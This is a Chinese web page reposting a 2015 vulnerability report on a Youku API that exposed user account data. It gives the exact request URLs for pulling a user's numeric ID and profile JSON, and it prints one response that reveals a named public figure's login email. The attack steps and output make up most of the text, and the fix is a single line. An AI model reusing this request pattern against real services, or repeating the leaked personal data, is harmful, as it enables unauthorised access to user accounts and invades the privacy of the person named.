来源：自学PHP网 时间：2015-04-17 10:15 作者： 阅读:次
[导读] 优酷系统的API，在输出用户信息时未进行严格的业务逻辑设计，直接输出了用户的邮箱、用户名、用户密码、用户登录IP、用户手机、QQ、MSN等敏感信息。#1 访问老罗的个人主页http://i....
|
优酷系统的API，在输出用户信息时未进行严格的业务逻辑设计，直接输出了用户的邮箱、用户名、用户密码、用户登录IP、用户手机、QQ、MSN等敏感信息。
#1 访问老罗的个人主页
http://i.youku.com/u/id_UMTcwMjk0NA==
#2 个人主页页面会自动请求如下API，获取用户的个人主页访问量
http://i.youku.com/user_pv/id_425736_md5_1e522f6831febf75e033cfe26fd0cec4_time_1372057646.html
id_425736_md5，id后的数字为用户的个人真实ID
# 构造请求获取用户数据
http://i.youku.com/u/get_status?__rt=1&__ro=&uid=425736&type=user_timeline&page=1&t=1372057786017&size=10
# 此处用测试帐号演示
 
{"userId":"425736","userName":"\u8001\u7f57","name":null,"regDate":"2006-11-04 10:06:54","contentTotal":"28","scoreTotal":"380","favTotal":"0","friendTotal":"0","pkTotal":"3091716","clubTotal":"0","gender":"0","city":"1","birthDay":"0000-00-00","birthDayDesc":"\u65e0\u678160","icon":"100","pvTotal":"391291","orderBy":null,"lastLoginDate":"2006-11-04 10:06:54","lastLoginDateDesc":"6\u5e74\u524d","statValue":null,"subTotal":null,"userSet":"23","email":"laol@youku.com","returnType":null,"icon64":"","icon150":"","iconUpdateTime":null,"contentFavTotal":"13159","ecdUserId":"UMTcwMjk0NA==","genderDesc":"\u7537","cityDesc":"\u5317\u4eac\u5e02","QQ":"","MSN":"","intro":"","status":"1","contentPvTotal":"15564997","messageTotal":"0","subscribeTotal":"0","folderTotal":"1","folderPvTotal":0},"info":{"email_status":0,"uid":425736,"reason":null,"status":0,"nickname":"\u8001\u7f57","bflag":0,"from":null,"nameCheckStatus":0,"ctime":1319188273080,"username":"\u8001\u7f57","email":"laol@youku.com","domain":"","tmpEmail":"","oldUsername":null,"login":1371969255588,"nameVersion":0,"mobile":""},"verified_icon":1,"encode_id":"UMTcwMjk0NA==","is_self":false,"login_user_id":"65214337","login_user_encode_id":"UMjYwODU3MzQ4","it":"\u4ed6","is_official":false,"rolltips":0,"firstrunGuide":1,"firstrunGuidee":2,"firstrunGuideee":0,"favtips":0,"canuseboard":1,"canusebanner":1,"board":{"state":0,"content":""},"mod":{"m_headline":1,"m_video":1,"m_playlist":1,"m_favorite":1,"m_statuses":1,"m_user":1,"m_guestbook":1,"m_friend":1,"m_follower":1,"m_visitor":1,"id":425736,"m_address":1},"pvtime":1372064276,"pvmd5":"79cdb02deead4aede3cf7c4fa8547ac7"}}
获得罗永浩的登录邮箱为：laol@youku.com
修复方案：
不该输出的信息还是尽量不要输出。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
